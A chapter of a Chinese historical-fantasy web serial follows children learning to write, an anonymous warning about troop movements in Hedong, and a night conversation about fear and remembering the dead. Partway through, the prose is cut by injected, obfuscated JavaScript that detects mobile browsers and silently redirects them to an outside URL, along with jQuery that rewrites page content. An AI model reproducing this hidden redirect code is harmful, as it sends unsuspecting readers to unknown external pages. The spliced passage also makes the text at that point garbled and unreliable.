狗子学会写“树”和“妹妹”之后，连着三天都在写这两个字。
早上起来写一遍，中午吃完饭写一遍，晚上睡觉前再写一遍。写了擦，擦了写，本子上那一页都快被他磨破了。
石头蹲在他旁边看着，也不说话，就那么看着。
阿福偶尔过来指点一下——哪里横不平，哪里竖不直。狗子就按他说的改。改完了，抬起头，看着阿福。
“这回对了吗？”
阿福看着那个字。其实还是有点歪，但比之前好多了。
“对了。”他说。
狗子就低下头，继续写。
---
第四天早上，狗子忽然问阿福。
“阿福，你说郭公子收到过信吗？”
阿福愣了一下。
“什么信？”
狗子说：“我写的。”
阿福看着他。
狗子低下头，看着本子上那些歪歪扭扭的字。
“我想给郭公子写信。”他说，“告诉他，我会写字了。”
阿福没说话。
狗子继续说：
“可是我不知道他能不能收到。他那么远。信要走多久？会不会丢了？”
阿福想了想。
“不知道。”他说。
狗子沉默了一会儿。
然后他把本子合上，揣进怀里。
“那等我写好了再寄。”他说。
---
那天下午，阿钝从外面回来，带回一封信。
不是郭荣的笔迹。
阿钝把信递给李默，站在旁边等着。李默拆开信，看了一遍，脸上的表情没变，但眉头动了一下。
很轻的一下。
但阿钝看见了。
“师父，谁的信？”
李默没回答。他把信递给阿钝。
阿钝接过来看。
**李师傅：**
**河东那边最近在调人。往南边来的方向。不知道要干什么。你们小心。**
**——一个想让你活着的人**
没有署名。
阿钝看着那几行字，手指有点抖。
“师父，这是谁写的？”
李默沉默了一会儿。
“不知道。”他说。
但阿钝觉得他知道。他只是不说。
---
那天晚上，李默把所有人都叫到一起。
周老倔，陈小锤，孙二，阿箬，阿钝，狗子，石头，阿福，还有那十七个孩子。最小的那个缩在大人后面，眼睛眨巴眨巴地看着李默。
李默站在他们面前，看了一圈。
“有人送信来。”他说，“说河东那边在调人。”
没人说话。
“可能是冲咱们来的。”他说，“也可能不是。但得准备。”
阿钝的手攥紧了。
狗子的手也攥紧了，攥着那个空包袱。
石头没动，但他的手按在怀里那个本子上。
阿福站在人群最后面，看着李默，又看着那些人。
他看见阿钝的手攥紧了。他看见狗子的手攥紧了。他看见阿箬的手按在刀柄上。
他忽然发现，这些人，比他想象的要怕。
但也比他想象的，要能扛。
---
李默开始分配任务。
阿钝带着那几个大的孩子，把院子里的东西再检查一遍。该加固的加固，该藏的藏。
阿箬带着狗子和石头，把地窖再清点一遍。粮食够不够，水够不够，那些小的孩子能不能躲得下。
周老倔和陈小锤负责那台机器。万一真打起来，机器怎么办？是拆，是藏，还是守？
孙二负责外面。打听消息，看风向，有什么动静马上报。
阿福站在旁边听着，不知道自己该干什么。
李默分配完所有人，最后看向他。
“阿福。”
阿福往前走了一步。
李默看着他。
“你跟着我。”他说。
阿福愣住了。
李默说：“万一出事了，得有人记着。”
阿福的手摸向怀里的本子。
他点了点头。
---
人都散了之后，阿钝没走。
他站在李默屋里，看着李默对着那张地图发呆。
地图上画着汴梁、陈桥、幽州，还有那条长长的铁路线。李默盯着河东那块地方，一动不动。
阿钝问：“师父，你在想什么？”
李默没回答。
过了很久，他才开口。
“阿钝。”
“嗯。”
“你知道石敬瑭是什么人吗？”
阿钝想起河东那个煤矿。想起人油灯，想起那些被推进火里的人。想起那个人站在中军帐前，用看牲口的眼神打量他们。
“知道。”他说。
李默点了点头。
他看着地图上河东的位置。
“他以前是河东节度使。”李默说，“管着那一大片地方。手底下有兵，有粮，有钱。”
阿钝没说话。
李默继续说：
“他现在在干什么？他在看着北边。看着契丹人。”
他顿了顿。
“一个手里有兵的人，一直看着北边，想干什么？”
阿钝不知道。
李默也没等他回答。
“他在找靠山。”李默说，“找比他更大的靠山。找到了，他就能当皇帝。”
阿钝愣住了。
“当皇帝？”
李默点了点头。
他看着阿钝。
“他要是真当了皇帝，”李默说，“会把咱们这儿当成眼中钉。”
阿钝问：“为什么？”
李默沉默了一会儿。
“因为咱们不跟他走。”他说，“咱们的东西，他想要。要不到，就毁。”
阿钝想起夜袭那晚的事。想起那些躺在院子里的尸体。想起周老倔肩上包着的白布。
“还会来？”他问。
李默没说话。
他看着窗外，看着那台还在转的机器。
“会。”他说。
---
那天夜里，阿钝睡不着。
他躺在床上，想着李默说的话。
“他在找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401641|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靠山。找比他更大的靠山。”
“他要是真当了皇帝，会把咱们这儿当成眼中钉。”
“还会来。”
狗子睡在他旁边，抱着那个空包袱。石头睡在狗子旁边，攥着那块石头。他们都睡着了，什么都不知道。
阿钝看着他们，看了很久。
然后他轻轻爬起来，走到院子里。
月亮很亮。那棵树在月光下投下一片影子。那台机器还在转，飞轮转，活塞动，管子冒气。它什么都不知道。
阿福坐在那棵树底下。
他拿着本子，低着头，在写什么。
阿钝走过去，在他旁边坐下。
“睡不着？”
阿福抬起头，看着他。
“睡不着。”他说。
阿钝看着他的本子。月光不太亮，但能看清那些字。整整齐齐的，一笔一划。
**今天收到一封信。说河东在调人。师父说可能是冲咱们来的。他把所有人都叫来，分配了任务。让我跟着他，万一出事了，要记着。**
**我问他，记什么。他说，记那些死了的人。**
阿钝看着那几行字，没说话。
阿福把本子合上。
“阿钝，”他说，“你怕吗？”
阿钝想了想。
“怕。”他说。
“那你怎么不躲？”
阿钝看着那棵树。
“躲不了。”他说，“这儿是我的地方。”
阿福没说话。
两个人坐在那儿，看着那棵树，看着那台机器，看着月亮慢慢往西边移。
过了很久，阿福忽然开口。
“我从来没怕过。”他说，“来这儿之前。”
阿钝转过头，看着他。
阿福说：“冯相国把我保护得太好了。我不知道外面是什么样子。不知道什么叫饿，什么叫怕，什么叫死。”
他低下头。
“现在知道了。”
阿钝没说话。
阿福抬起头，看着他。
“我怕。”他说，“但我不想躲。”
---
远处传来火车的汽笛声。
呜——
很长，很远。
那是夜里的最后一趟车，从幽州开往汴梁。
阿钝抬起头，往北边看了一眼。
什么也没有。只有黑漆漆的天，和看不见的远方。
但他知道，那边有一个人。
那个人说夏天回来。
火车开过去了。
阿钝站起来，拍了拍阿福的肩膀。
“记着就行。”他说，“记着，那些人就没白死。”
他走了。
阿福坐在那儿，看着他的背影，看着那棵树，看着那台还在转的机器。
他低下头，翻开本子，又写了一行。
**第七天夜里。阿钝说，记着，那些人就没白死。我不知道我能记多久。但我想试试。**
他合上本子，站起来，走回屋里。
那棵树还在月光下站着。
那台机器还在转。
天快亮了。
---